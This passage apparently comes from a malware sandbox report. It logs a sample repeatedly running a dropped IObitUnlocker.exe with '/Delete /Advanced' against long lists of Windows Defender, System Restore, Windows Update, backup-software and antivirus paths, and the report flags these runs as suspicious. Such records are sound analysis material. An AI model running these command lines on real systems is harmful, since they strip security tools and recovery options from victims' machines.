(x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1908
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5132
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program 